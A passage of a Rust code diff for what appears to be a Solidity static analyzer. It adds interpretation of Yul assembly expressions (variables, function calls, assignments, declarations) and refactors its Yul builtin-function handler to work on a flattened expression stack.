stack: &[FlatExpr], + stack: &mut Vec, ) -> Result<(), ExprErr> { use FlatExpr::*; @@ -646,13 +707,15 @@ pub trait Flatten: } let parse_idx = ctx.increment_parse_idx(self); - let kill_after_exec = parse_idx == stack.len().saturating_sub(1); let Some(next) = stack.get(parse_idx) else { - let loc = stack - .last() - .map(|l| l.try_loc()) - .flatten() - .unwrap_or(Loc::Implicit); + let mut loc = None; + let mut stack_rev_iter = stack.iter().rev(); + let mut loccer = stack_rev_iter.next(); + while loc.is_none() && loccer.is_some() { + loc = loccer.unwrap().try_loc(); + loccer = stack_rev_iter.next(); + } + let loc = loc.unwrap_or(Loc::Implicit); return ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc); }; let next = *next; @@ -664,10 +727,6 @@ pub trait Flatten: self.peek_expr_flag() ); - tracing::trace!( - "current expr_ret stack: {}", - ctx.debug_expr_stack_str(self).unwrap() - ); match next { // Flag expressions FunctionCallName(n, is_super, named_args) => { @@ -770,12 +829,26 @@ pub trait Flatten: List(_, _) => self.interp_list(ctx, stack, next, parse_idx), Parameter(_, _, _) => Ok(()), Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), - YulExpr(FlatYulExpr::YulStartBlock) => Ok(()), - YulExpr(FlatYulExpr::YulVariable(..)) => Ok(()), - YulExpr(FlatYulExpr::YulFunctionCallName(..)) => Ok(()), - YulExpr(FlatYulExpr::YulFuncCall(..)) => Ok(()), + YulExpr(FlatYulExpr::YulStartBlock) => { + self.increment_asm_block(); + Ok(()) + } + YulExpr(yul @ FlatYulExpr::YulVariable(..)) => self.interp_yul_var(arena, ctx, yul), + YulExpr(yul @ FlatYulExpr::YulFuncCall(..)) => { + self.interp_yul_func_call(arena, ctx, stack, yul) + } YulExpr(FlatYulExpr::YulSuffixAccess(..)) => Ok(()), - YulExpr(FlatYulExpr::YulEndBlock) => Ok(()), + YulExpr(yul @ FlatYulExpr::YulAssign(..)) => self.interp_yul_assign(arena, ctx, yul), + YulExpr(yul @ FlatYulExpr::YulFuncDef(..)) => { + self.interp_yul_func_def(arena, ctx, stack, yul, parse_idx) + } + YulExpr(yul @ FlatYulExpr::YulVarDecl(..)) => { + self.interp_yul_var_decl(arena, ctx, stack, yul, parse_idx) + } + YulExpr(FlatYulExpr::YulEndBlock) => { + self.decrement_asm_block(); + Ok(()) + } }?; if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) @@ -816,7 +889,7 @@ pub trait Flatten: fn interp_list( &mut self, ctx: ContextNode, - stack: &[FlatExpr], + stack: &mut Vec, list: FlatExpr, parse_idx: usize, ) -> Result<(), ExprErr> { @@ -898,7 +971,7 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, - stack: &[FlatExpr], + stack: &mut Vec, if_expr: FlatExpr, parse_idx: usize, ) -> Result<(), ExprErr> { @@ -1160,7 +1233,7 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, - stack: &[FlatExpr], + stack: &mut Vec, var: FlatExpr, parse_idx: usize, ) -> Result<(), ExprErr> { @@ -1259,7 +1332,7 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, - stack: &[FlatExpr], + stack: &mut Vec, func_call: FlatExpr, parse_idx: usize, ) -> Result<(), ExprErr> { @@ -1273,7 +1346,12 @@ pub trait Flatten: self.interp_func_call(arena, ctx, func_call, Some(names)) } - fn get_named_args(&self, stack: &[FlatExpr], start: usize, n: usize) -> Vec<&'static str> { + fn get_named_args( + &self, + stack: &mut Vec, + start: usize, + n: usize, + ) -> Vec<&'static str> { stack[start..start + n] .iter() .map(|named_arg| { @@ -1410,20 +1488,6 @@ pub trait Flatten: } } - fn interp_super_func_call( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - next: FlatExpr, - ) -> Result<(), ExprErr> { - let FlatExpr::Super(loc, name) = next else { - unreachable!() - }; - - // self.super_access(arena, ctx, name, loc) - todo!() - } - fn interp_negatable_literal( &mut self, arena: &mut RangeArena>, @@ -1451,6 +1515,164 @@ pub trait Flatten: } } + fn interp_yul_func_call( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &mut Vec, + next: FlatYulExpr, + ) -> Result<(), ExprErr> { + let FlatYulExpr::YulFuncCall(loc, name, num_inputs) = next else { + unreachable!() + }; + let inputs = ExprRet::Multi( + ctx.pop_n_latest_exprs(num_inputs, loc, self) + .into_expr_err(loc)?, + ); + self.yul_func_call( + arena, + ctx, + stack, + name, + inputs, + self.current_asm_block(), + loc, + ) + } + + fn interp_yul_var( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatYulExpr, + ) -> Result<(), ExprErr> { + let FlatYulExpr::YulVariable(loc, name) = next else { + unreachable!() + }; + + self.variable( + arena, + &solang_parser::pt::Identifier { + loc, + name: name.to_string(), + }, + ctx, + None, + None, + )?; + + if let Some(ret) = ctx.pop_expr_latest(loc, self).into_expr_err(loc)? { + if ContextVarNode::from(ret.expect_single().into_expr_err(loc)?) + .is_memory(self) + .into_expr_err(loc)? + { + // its a memory based variable, push a uint instead + let b = Builtin::Uint(256); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } else { + ctx.push_expr(ret, self).into_expr_err(loc) + } + } else { + Err(ExprErr::Unresolved( + loc, + format!("Could not find yul variable with name: {name}"), + )) + } + } + + fn interp_yul_func_def( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &mut Vec, + next: FlatYulExpr, + parse_idx: usize, + ) -> Result<(), ExprErr> { + let FlatYulExpr::YulFuncDef(loc, name, num) = next else { + unreachable!() + }; + + let end = parse_idx + 1 + num; + let exprs = (&stack[parse_idx + 1..end]).to_vec(); + let fn_node = ctx.associated_fn(self).into_expr_err(loc)?; + let yul_fn = self.add_node(YulFunction::new(exprs, name, loc)); + self.add_edge(yul_fn, fn_node, Edge::YulFunction(self.current_asm_block())); + ctx.underlying_mut(self).into_expr_err(loc)?.parse_idx = end; + Ok(()) + } + + fn interp_yul_assign( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatYulExpr, + ) -> Result<(), ExprErr> { + let FlatYulExpr::YulAssign(loc, num) = next else { + unreachable!() + }; + + let to_assign = ctx + .pop_n_latest_exprs(num * 2, loc, self) + .into_expr_err(loc)?; + let (to_assign_to, assignments) = to_assign.split_at(to_assign.len() / 2); + assert!(assignments.len() == to_assign_to.len()); + to_assign_to + .iter() + .zip(assignments) + .try_for_each(|(lhs, rhs)| self.match_assign_sides(arena, ctx, loc, lhs, rhs)) + } + + fn interp_yul_var_decl( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &mut Vec, + next: FlatYulExpr, + parse_idx: usize, + ) -> Result<(), ExprErr> { + let FlatYulExpr::YulVarDecl(loc, num, assign) = next else { + unreachable!() + }; + + if assign { + let names = stack[parse_idx - num * 2..parse_idx] + .iter() + .filter_map(|s| match s { + FlatExpr::VarDef(_, Some(name), _, _) => Some(name), + _ => None, + }) + .collect::>(); + + names.iter().try_for_each(|name| { + self.variable( + arena, + &Identifier { + loc, + name: name.to_string(), + }, + ctx, + None, + None, + ) + })?; + let to_assign = ctx + .pop_n_latest_exprs(num * 2, loc, self) + .into_expr_err(loc)?; + let (to_assign_to, assignments) = to_assign.split_at(to_assign.len() / 2); + assert!(assignments.len() == to_assign_to.len()); + to_assign_to + .iter() + .zip(assignments) + .try_for_each(|(lhs, rhs)| self.match_assign_sides(arena, ctx, loc, lhs, rhs)) + } else { + Ok(()) + } + } + fn modify_edges( &mut self, ctx: ContextNode, @@ -1489,13 +1711,13 @@ pub trait Flatten: ctx: ContextNode, loc: Loc, arena: &mut RangeArena>, - stack: &[FlatExpr], + stack: &mut Vec, closure: &impl Fn( &mut Self, &mut RangeArena>, ContextNode, Loc, - &[FlatExpr], + &mut Vec, ) -> Result<(), ExprErr>, ) -> Result<(), ExprErr> { let live_edges = ctx.live_edges(self).into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 894531e2..1f204193 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -8,7 +8,7 @@ use graph::{ }, AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, SolcRange, VarType, }; -use shared::{ExprErr, IntoExprErr, RangeArena, StorageLocation}; +use shared::{ExprErr, FlatExpr, IntoExprErr, RangeArena, StorageLocation}; use ethers_core::types::U256; use solang_parser::pt::{Expression, Loc, YulExpression, YulFunctionCall}; @@ -23,677 +23,508 @@ pub trait YulFuncCaller: fn yul_func_call( &mut self, arena: &mut RangeArena>, - func_call: &YulFunctionCall, ctx: ContextNode, + stack: &mut Vec, + name: &str, + inputs: ExprRet, + assembly_block_idx: usize, + loc: Loc, ) -> Result<(), ExprErr> { - unreachable!() - // let YulFunctionCall { loc, id, arguments } = func_call; - - // match &*id.name { - // "caller" => { - // let t = self.msg_access(*loc, ctx, "sender")?; - // ctx.push_expr(t, self).into_expr_err(*loc) - // } - // "origin" => { - // let t = self.msg_access(*loc, ctx, "origin")?; - // ctx.push_expr(t, self).into_expr_err(*loc) - // } - // "gasprice" => { - // let t = self.msg_access(*loc, ctx, "gasprice")?; - // ctx.push_expr(t, self).into_expr_err(*loc) - // } - // "callvalue" => { - // let t = self.msg_access(*loc, ctx, "value")?; - // ctx.push_expr(t, self).into_expr_err(*loc) - // } - // "pop" => { - // let _ = ctx.pop_expr_latest(*loc, self).into_expr_err(*loc)?; - // Ok(()) - // } - // "hash" | "basefee" | "chainid" | "coinbase" | "difficulty" | "gaslimit" | "number" - // | "prevrandao" | "timestamp" => { - // let t = self.block_access(*loc, ctx, &id.name)?; - // ctx.push_expr(t, self).into_expr_err(*loc) - // } - // "log0" | "log1" | "log2" | "log3" | "log4" => { - // ctx.push_expr(ExprRet::Multi(vec![]), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "stop" | "revert" | "selfdestruct" | "invalid" => { - // ctx.kill(self, *loc, KilledKind::Revert).into_expr_err(*loc) - // } - // "return" => { - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(offset) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs(loc, "Yul Return had no offset".to_string())); - // }; - // if matches!(offset, ExprRet::CtxKilled(_)) { - // ctx.push_expr(offset, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(size) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs(loc, "Yul Return had no size".to_string())); - // }; - // if matches!(size, ExprRet::CtxKilled(_)) { - // ctx.push_expr(size, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.return_yul(ctx, loc, size)?; - // ctx.kill(analyzer, loc, KilledKind::Ended) - // .into_expr_err(loc)?; - // // ctx.push_expr(ExprRet::CtxKilled(KilledKind::Ended), analyzer) - // // .into_expr_err(loc)?; - // Ok(()) - // }) - // }) - // } - // "not" => { - // if arguments.len() != 1 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `not` expected 1 argument found: {:?}", - // arguments.len() - // ), - // )); - // } - - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoRhs( - // loc, - // "Not operation had no element".to_string(), - // )); - // }; - - // if matches!(lhs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.bit_not_inner(arena, ctx, loc, lhs.flatten()) - // }) - // } - // "add" | "sub" | "mul" | "div" | "sdiv" | "mod" | "smod" | "exp" | "and" | "or" - // | "xor" | "shl" | "shr" | "sar" => { - // let op = match &*id.name { - // "add" => RangeOp::Add(true), - // "sub" => RangeOp::Sub(true), - // "mul" => RangeOp::Mul(true), - // "div" | "sdiv" => RangeOp::Div(true), - // "mod" | "smod" => RangeOp::Mod, - // "exp" => RangeOp::Exp(true), - // "and" => RangeOp::BitAnd, - // "or" => RangeOp::BitOr, - // "xor" => RangeOp::BitXor, - // "shl" => RangeOp::Shl, - // "shr" | "sar" => RangeOp::Shr, - // _ => unreachable!(), - // }; - - // if arguments.len() != 2 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `{}` expects 2 arguments found: {:?}", - // id.name, - // arguments.len() - // ), - // )); - // } - - // let inputs: Vec = if matches!(&*id.name, "shl" | "shr" | "sar") { - // // yul shifts are super dumb and are reversed. - // vec![arguments[1].clone(), arguments[0].clone()] - // } else { - // vec![arguments[0].clone(), arguments[1].clone()] - // }; - - // inputs.expect_length(2).into_expr_err(loc)?; - // let inputs = inputs.as_vec(); - - // // we have to cast the inputs into an EVM word, which is effectively a u256. - // let word_ty = analyzer.builtin_or_add(Builtin::Uint(256)); - // let cast_ty = VarType::try_from_idx(analyzer, word_ty).unwrap(); - // let lhs_paths = - // ContextVarNode::from(inputs[0].expect_single().into_expr_err(loc)?); - // lhs_paths - // .cast_from_ty(cast_ty.clone(), analyzer, arena) - // .into_expr_err(loc)?; - - // let rhs_paths = - // ContextVarNode::from(inputs[1].expect_single().into_expr_err(loc)?); - // rhs_paths - // .cast_from_ty(cast_ty, analyzer, arena) - // .into_expr_err(loc)?; - - // analyzer.op_match( - // arena, - // ctx, - // loc, - // &ExprRet::Single(lhs_paths.latest_version(analyzer).into()), - // &ExprRet::Single(rhs_paths.latest_version(analyzer).into()), - // op, - // false, - // ) - // } - // "lt" | "gt" | "slt" | "sgt" | "eq" => { - // let op = match &*id.name { - // "lt" | "slt" => RangeOp::Lt, - // "gt" | "sgt" => RangeOp::Gt, - // "eq" => RangeOp::Eq, - // _ => unreachable!(), - // }; - - // if arguments.len() != 2 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `{}` expects 2 arguments found: {:?}", - // id.name, - // arguments.len() - // ), - // )); - // } - - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul Binary operation had no right hand side".to_string(), - // )); - // }; - - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; - // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(rhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Yul Binary operation had no left hand side".to_string(), - // )); - // }; - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, op, &rhs_paths)?; - // let Some(result) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Yul Binary operation had no return".to_string(), - // )); - // }; - - // let res = ContextVarNode::from(result.expect_single().into_expr_err(loc)?); - // let next = analyzer.advance_var_in_ctx(res, loc, ctx)?; - // let expr = Elem::Expr(RangeExpr::new( - // Elem::from(res), - // RangeOp::Cast, - // Elem::from(Concrete::Uint(256, U256::zero())), - // )); - - // next.set_range_min(analyzer, arena, expr.clone()) - // .into_expr_err(loc)?; - // next.set_range_max(analyzer, arena, expr) - // .into_expr_err(loc)?; - // ctx.push_expr(ExprRet::Single(next.into()), analyzer) - // .into_expr_err(loc) - // }) - // }) - // } - // "iszero" => { - // if arguments.len() != 1 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `iszero` expects 1 arguments found: {:?}", - // arguments.len() - // ), - // )); - // } - - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `iszero` operation had no input".to_string(), - // )); - // }; - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } + match name { + "caller" => { + let t = self.msg_access(ctx, "sender", loc)?; + ctx.push_expr(t, self).into_expr_err(loc) + } + "origin" => { + let t = self.msg_access(ctx, "origin", loc)?; + ctx.push_expr(t, self).into_expr_err(loc) + } + "gasprice" => { + let t = self.msg_access(ctx, "gasprice", loc)?; + ctx.push_expr(t, self).into_expr_err(loc) + } + "callvalue" => { + let t = self.msg_access(ctx, "value", loc)?; + ctx.push_expr(t, self).into_expr_err(loc) + } + "pop" => Ok(()), + "hash" | "basefee" | "chainid" | "coinbase" | "difficulty" | "gaslimit" | "number" + | "prevrandao" | "timestamp" => { + let t = self.block_access(ctx, name, loc)?; + ctx.push_expr(t, self).into_expr_err(loc) + } + "log0" | "log1" | "log2" | "log3" | "log4" => { + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc)?; + Ok(()) + } + "stop" | "revert" | "selfdestruct" | "invalid" => { + ctx.kill(self, loc, KilledKind::Revert).into_expr_err(loc) + } + "return" => { + let [offset, size] = inputs.into_sized(); + self.return_yul(ctx, size, loc)?; + ctx.kill(self, loc, KilledKind::Ended).into_expr_err(loc)?; + Ok(()) + } + "not" => { + if inputs.len() != 1 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `not` expected 1 argument found: {:?}", + inputs.len() + ), + )); + } - // let cnode = ConcreteNode::from( - // analyzer.add_node(Node::Concrete(Concrete::from(U256::from(0)))), - // ); - // let tmp_true = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - // .into_expr_err(loc)?, - // ); - // let rhs_paths = - // ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_true)).into()); + let [lhs] = inputs.into_sized(); + self.bit_not_inner(arena, ctx, lhs.flatten(), loc) + } + "add" | "sub" | "mul" | "div" | "sdiv" | "mod" | "smod" | "exp" | "and" | "or" + | "xor" | "shl" | "shr" | "sar" => { + let op = match name { + "add" => RangeOp::Add(true), + "sub" => RangeOp::Sub(true), + "mul" => RangeOp::Mul(true), + "div" | "sdiv" => RangeOp::Div(true), + "mod" | "smod" => RangeOp::Mod, + "exp" => RangeOp::Exp(true), + "and" => RangeOp::BitAnd, + "or" => RangeOp::BitOr, + "xor" => RangeOp::BitXor, + "shl" => RangeOp::Shl, + "shr" | "sar" => RangeOp::Shr, + _ => unreachable!(), + }; + + if inputs.len() != 2 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `{}` expects 2 arguments found: {:?}", + name, + inputs.len() + ), + )); + } - // analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, RangeOp::Eq, &rhs_paths) - // }) - // } - // "addmod" | "mulmod" => { - // let b = Builtin::Uint(256); - // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "msize" | "pc" | "mload" | "sload" | "gas" | "returndatasize" => { - // // TODO: actually handle this. @MemoryModel - // let b = Builtin::Uint(256); - // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "calldatacopy" => { - // // TODO: actually handle this. @MemoryModel - // Ok(()) - // } - // "calldatasize" => { - // // TODO: actually handle this. @MemoryModel - // let b = Builtin::Uint(256); - // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "calldataload" => { - // if arguments.len() != 1 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `calldataload` expects 1 arguments found: {:?}", - // arguments.len() - // ), - // )); - // } + let [lhs, rhs] = if matches!(name, "shl" | "shr" | "sar") { + // yul shifts are super dumb and are reversed. + let [rhs, lhs] = inputs.into_sized(); + [lhs, rhs] + } else { + let [lhs, rhs] = inputs.into_sized(); + [lhs, rhs] + }; + + // we have to cast the inputs into an EVM word, which is effectively a u256. + let word_ty = self.builtin_or_add(Builtin::Uint(256)); + let cast_ty = VarType::try_from_idx(self, word_ty).unwrap(); + let lhs_paths = ContextVarNode::from(lhs.expect_single().into_expr_err(loc)?); + lhs_paths + .cast_from_ty(cast_ty.clone(), self, arena) + .into_expr_err(loc)?; + + let rhs_paths = ContextVarNode::from(rhs.expect_single().into_expr_err(loc)?); + rhs_paths + .cast_from_ty(cast_ty, self, arena) + .into_expr_err(loc)?; + + self.op_match( + arena, + ctx, + loc, + &ExprRet::Single(lhs_paths.latest_version(self).into()), + &ExprRet::Single(rhs_paths.latest_version(self).into()), + op, + false, + ) + } + "lt" | "gt" | "slt" | "sgt" | "eq" => { + let op = match name { + "lt" | "slt" => RangeOp::Lt, + "gt" | "sgt" => RangeOp::Gt, + "eq" => RangeOp::Eq, + _ => unreachable!(), + }; + + if inputs.len() != 2 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `{}` expects 2 arguments found: {:?}", + name, + inputs.len() + ), + )); + } - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `calldataload` operation had no input".to_string(), - // )); - // }; - // // TODO: check const version - // let b = Builtin::Uint(256); - // let mut var = ContextVar::new_from_builtin( - // loc, - // analyzer.builtin_or_add(b).into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // var.display_name = format!( - // "calldata[{}:{}+32]", - // elem.display_name(analyzer).into_expr_err(loc)?, - // elem.display_name(analyzer).into_expr_err(loc)? - // ); - // let node = analyzer.add_node(Node::ContextVar(var)); - // ctx.push_expr(ExprRet::Single(node), analyzer) - // .into_expr_err(loc) - // }) - // } - // "keccak256" => { - // let b = Builtin::Bytes(32); - // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "call" | "delegatecall" | "callcode" | "staticcall" => { - // let b = Builtin::Uint(256); - // let mut var = - // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b.clone()).into(), self) - // .into_expr_err(*loc)?; - // var.display_name = format!("{id}_success"); - // let mut range = SolcRange::try_from_builtin(&b).unwrap(); - // range.min = Elem::from(Concrete::from(U256::from(0))); - // range.max = Elem::from(Concrete::from(U256::from(1))); - // var.ty.set_range(range).into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "create" | "create2" => { - // let b = Builtin::Address; - // let mut var = - // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // var.display_name = format!("{id}_success"); - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "returndatacopy" => { - // ctx.push_expr(ExprRet::Multi(vec![]), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "byte" => { - // let b = Builtin::Uint(8); - // let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "mstore" | "mstore8" => { - // // TODO: improve this. Right now we are extremely pessimistic and just say we know nothing about memory variables anymore. - // // We should check if the location is a reference to an existing var and update based on that - // // @MemoryModel - // let vars = ctx.local_vars(self).clone(); - // vars.into_iter().try_for_each(|(_name, var)| { - // // widen to any max range - // let latest_var = var.latest_version_or_inherited_in_ctx(ctx, self); - // if matches!( - // latest_var.underlying(self).into_expr_err(*loc)?.storage, - // Some(StorageLocation::Memory(_)) - // ) { - // let res = latest_var.ty(self).into_expr_err(*loc)?; - // if let Some(r) = res.default_range(self).unwrap() { - // let new_var = self.advance_var_in_ctx(latest_var, *loc, ctx).unwrap(); - // let res = new_var - // .set_range_min(self, arena, r.min) - // .into_expr_err(*loc); - // let _ = self.add_if_err(res); - // let res = new_var - // .set_range_max(self, arena, r.max) - // .into_expr_err(*loc); - // let _ = self.add_if_err(res); - // } - // } - // Ok(()) - // })?; - // ctx.push_expr(ExprRet::Multi(vec![]), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "sstore" => { - // if arguments.len() != 2 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `{}` expects 2 arguments found: {:?}", - // id.name, - // arguments.len() - // ), - // )); - // } + let [lhs_paths, rhs_paths] = inputs.into_sized(); + + self.cmp_inner(arena, ctx, loc, &lhs_paths, op, &rhs_paths)?; + let Some(result) = ctx.pop_expr_latest(loc, self).into_expr_err(loc)? else { + return Err(ExprErr::NoLhs( + loc, + "Yul Binary operation had no return".to_string(), + )); + }; + + let res = ContextVarNode::from(result.expect_single().into_expr_err(loc)?); + let next = self.advance_var_in_ctx(res, loc, ctx)?; + let expr = Elem::Expr(RangeExpr::new( + Elem::from(res), + RangeOp::Cast, + Elem::from(Concrete::Uint(256, U256::zero())), + )); + + next.set_range_min(self, arena, expr.clone()) + .into_expr_err(loc)?; + next.set_range_max(self, arena, expr).into_expr_err(loc)?; + ctx.push_expr(ExprRet::Single(next.into()), self) + .into_expr_err(loc) + } + "iszero" => { + if inputs.len() != 1 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `iszero` expects 1 arguments found: {:?}", + inputs.len() + ), + )); + } - // self.parse_inputs(arena, ctx, *loc, arguments)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(mut lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::InvalidFunctionInput( - // loc, - // "Yul `sload` operation had no inputs".to_string(), - // )); - // }; + let [lhs_paths] = inputs.into_sized(); - // if lhs_paths.expect_length(2).into_expr_err(loc).is_err() { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `sload` operation had no rhs".to_string(), - // )); - // } - // let value = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); - // let slot = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); - // let cvar = ContextVarNode::from(slot.expect_single().unwrap()); + let cnode = ConcreteNode::from(self.add_node(Concrete::from(U256::from(0)))); + let tmp_true = ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) + .into_expr_err(loc)?; + let rhs_paths = + ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - // if let Some(slot) = cvar.slot_to_storage(analyzer) { - // analyzer.match_assign_sides( - // arena, - // ctx, - // loc, - // &ExprRet::Single(slot.into()), - // &value, - // )?; - // } else { - // // TODO: improve this. We now handle `slot` but should try to figure out storage layout - // let vars = ctx.local_vars(analyzer).clone(); - // vars.iter().try_for_each(|(_name, var)| { - // // widen to any max range - // let latest_var = var.latest_version(analyzer); - // if matches!( - // latest_var.underlying(analyzer).into_expr_err(loc)?.storage, - // Some(StorageLocation::Storage(_)) - // ) { - // let res = latest_var.ty(analyzer).into_expr_err(loc)?; - // if let Some(r) = res.default_range(analyzer).unwrap() { - // let new_var = - // analyzer.advance_var_in_ctx(latest_var, loc, ctx).unwrap(); - // let res = new_var - // .set_range_min(analyzer, arena, r.min) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // let res = new_var - // .set_range_max(analyzer, arena, r.max) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // } - // } - // Ok(()) - // })?; - // } - // Ok(()) - // })?; - // ctx.push_expr(ExprRet::Multi(vec![]), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // "balance" => { - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul 